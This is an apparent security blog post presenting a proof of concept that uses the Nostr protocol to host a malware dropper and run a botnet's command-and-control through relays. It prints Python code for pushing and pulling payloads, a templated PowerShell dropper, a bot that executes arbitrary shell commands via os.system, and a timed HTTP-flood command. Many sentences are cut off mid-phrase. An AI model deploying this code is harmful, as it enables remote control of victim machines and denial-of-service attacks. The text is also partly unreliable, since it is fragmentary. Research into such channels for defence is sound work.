Malware and Other Stuff
Intro
There's this protocol that lets you post content without censorship,
have you heard about it?
While on vacation, a friend of mine mentioned this somewhat new protocol that lets you publish content as
The key point? The messages you publish are designed to be resistant to deletion, and thus hard to censor, promoting freedom of speech.
Immediately my curiosity was caught. Hold on, we can host content thats hard, if not impossible, to take down? That sounds like the perfect use case for
What is Nostr
So what is this mysterious protocol & network that lets us post content that can’t be taken down?
Nostr, short for Notes and Other Stuff Transmitted by Relays, is a communication protocol that lets you publish and receive messages.
At its core, Nostr is built around two concepts:
The
This is what makes Nostr interesting – it separates identity, content, and infrastructure. The user owns only their key,
Keys that aren’t tied to identifiable information, relays that don’t coordinate, and content that persists – these are the key points that make Nostr interesting for more than notes. Keen eyed of you would already guess where this is going.
The Achilles Heel of malware
At my previous place of employment, we would tackle
After or during the breach, once the dropper lands on the desk of
But what if the
Of course I’m not the first to think this. There’s a proof-of-concept from 2023 and even a mention of the idea on Nostr itself.
But even so it seems the idea remains largely unexplored. Lets take a deeper look.
Delivering a payload via multiple possible relays
The core idea of
Interacting with a relay is quite simple:
#
# From interact.py, push()
#
""" First we create an identity: """
from pynostr.key import PrivateKey
PRIVATE_KEY = PrivateKey()
PUBLIC_KEY = PRIVATE_KEY.public_key.hex()
""" Afterwhich we can add the desired relay: """
relay_manager = RelayManager()
relay_manager.add_relay( relay )
""" Content is an signed event """
event = Event(
content = user_content
)
event.sign( PRIVATE_KEY.hex() )
""" And then we can push the event into the relay: """
relay_manager.publish_event( event )
relay_manager.run_sync()
To later on fetch the content we’ve just now pushed, we need to store the PUBLIC_KEY. That’s the
#
# From interact.py, pull()
#
""" Add the relay """
relay_manager = RelayManager()
relay_manager.add_relay( relay )
# adjust filters where necessary
filters = FiltersList([
Filters(
authors = [ PUBLIC_KEY ],
kinds = [ 1 ],
limit = 5
)
])
""" Add a new 'subscription' """
sub_id = "arbitrary_sub"
relay_manager.add_subscription_on_all_relays(sub_id, filters)
relay_manager.run_sync()
""" Get the Events """
while relay_manager.message_pool.has_events():
raw_msg = relay_manager.message_pool.get_event()
...
In my proof of concept code, I only stripped the “content” part out of the raw_msg. This is the “user_content” part we pushed into the relay in the code snippet above. This is basically how you interact with
Now, lets find some push() and pull().
#
# scrape.py
#
for relay in relays:
""" Send a SHA of the Relay URL as a message into the relay. """
push(
user_content = shahify( relay ),
relay = relay,
private_key = PRIVATE_KEY,
)
""" Check the relay -- if the SHA of the relay is returned,
it's open for free to use,
and doesn't mess with the integrity of the message. """
msg = pull(
relay = relay,
public_key = PUBLIC_KEY,
)
if shahify( relay ) == msg:
log( relay ) # Store the result.
Now that we have a way to interact with the network, we can store our
.ps1. Initial Access is left as an exercise for the reader.
There are two necessary variables for the dropper-.ps1 file that enable it to fetch content from the Nostr network. Those are PublicKey and Relay. Because we want to try multiple
$Relays = @(
{% for relay in relays %}
"{{ relay }}"{% if not loop.last %},{% endif %}
{% endfor %}
)
$PublicKey = "{{ publickey }}"
And once we’ve pushed the content into the relays, we store the relays into the list, and render it into the .ps1 file:
# main.py
dropper_file = render_malware(
"./templates/malw.ps1",
relays,
PUBLIC_KEY
)
# render_malware.py
from jinja2 import Template
def render_malware( template_path : str, relays : list, publickey : str ):
# Read the template
...
# Render the template
rendered_template = template.render(
relays = relays,
publickey = publickey,
)
return rendered_template
Afterwhich we can simply write the template into a script file that we can calc.exe onto the network, and we run the .ps1 on the victim windows host:
Lovely! But this is simple stuff. Lets push for something slightly more
Bots & Skid malware
For the next section we have to take a brief look into
There were scripts floating around that showcased the basic methodology. To build a small net, exactly as the picture above shows, the attacker would take a
This is the structure we’re going to reproduce –
Using Nostr for comms on a botnet
One-way communication channel from the Attacker to the Bot is perfect for exactly this use. When the
For simplicity, let’s use the ever lovely & verbose
""" COMMANDS """
def attack( args : str ):
# Args should be a string in format of:
# "target,timestamp" -> "victim.org,13333337"
params = args.split(",")
target, timestamp = str( params[ 0 ] ), int( params[ 1 ].split(".")[0] )
# Wait for the timestamp to pass.
while time.time() < round(timestamp):
time.sleep( 1 )
continue
# booo! scary DoS attack.
_ = requests.get( f"http://{target}" )
def cli( args ):
os.system( args )
def disconnect( _ ):
# os.system( "rm ./*.py" ); os.system( "rm ./*pycache*" )
exit()
""" Bind the function calls into keys """
COMMANDS = {
"cli" : cli,
"attack" : attack,
"disconnect" : disconnect,
}
Because the
The bot needs to be connected to the
# Global Variables
HEARTBEAT : int = 60 * random.randint( 1, 15 )
...
while 1:
# Iterate through the relays.
# Upon first successful play of the command,
# stop and wait for a new one.
for relay in RELAYS:
messages = pull(
relay = relay,
public_key = C2_PUBLIC_KEY,
)
# No message received from the relay.
...
# Do not replay seen messages.
last_message = pick_last( messages )
last_message_hash = hash(str(last_message))
if last_message_hash in messages_seen:
continue
# Mark message seen and play it.
messages_seen[ last_message_hash ] = 1
# Execute command is opened further below
execute_command( last_message )
break
# Heartbeat to reduce noise.
time.sleep( HEARTBEAT )
This is slightly HEARTBEAT and any
Now let’s look at the C2 side:
""" ACTIONS / COMMANDS """
def cli_command( user_input ):
# CLI command can be sent as is.
nostr_connection.send_payload({
"args" : user_input,
"command" : "cli"
})
def attack_command( user_input ):
# attack command requires a CSV format:
# "VICTIM,TIMESTAMP" because of the heartbeat.
# Not every bot will receive the command at the
# same time, which we can remedy by setting
# a unix timestamp as the "goal" for the time
# of the attack.
nostr_connection.send_payload({
"args" : user_input + "," + str( time.time() + 60 ),
"command" : "attack"
})
def disconnect( _ ):
# No user input required ; ignore it.
nostr_connection.send_payload({
"args" : "_",
"command" : "disconnect"
})
# After connection,
# all bots connecting are gonna disconnect upon new entry.
# If you wish to start the net again, send a padding:
nostr_connection.send_payload({ "padding" : "padding" })
As I said, let’s keep it simple. Each { "command" : command, "args" : args } turned into a dict, and relayd through the command value as string is found from the COMMANDS Dict, and directly call it with the args we get from args.
def execute_command( message : dict ) -> bool:
raw_msg = message[ "content" ]
payload = json.loads( raw_msg )
# Check that necessary keys exist
try:
command = payload[ "command" ]
arguments = payload[ "args" ]
except KeyError:
return False
# Play the command. On fail to execute,
# simply ignore and reset the loop.
try:
COMMANDS[ command ]( arguments )
except Exception:
return False
return True
Now it is just creating a UI, which can be done in any way you please, even as a website.
Identity and masking there of
- The content published
- The key public key & signatures for the event/content
- The IP address from which the publication has been made.
If the user publishes content into the
So, if the relays just do logging of the IPs, we can potentially catch the attacker?
Well, in the best case. Because the protocol is accessible via
So.. what?
So what is the big deal? From my understanding, this network enables malware in a way that is very difficult, if not impossible, to disrupt once after infection. The
And of course the
That being said, the code snippets in this blog are from my proof-of-concept repository. You can find it here: Vsimpro/nostril
Please don’t go and use this for evil. This article is meant to raise awarness, and potentially spark some conversation on how to mitigate such botnets. I hope you had a pleasant read, for any feedback and thoughts don’t hesitate to hit me up :)
Until next time,
-Vs1m.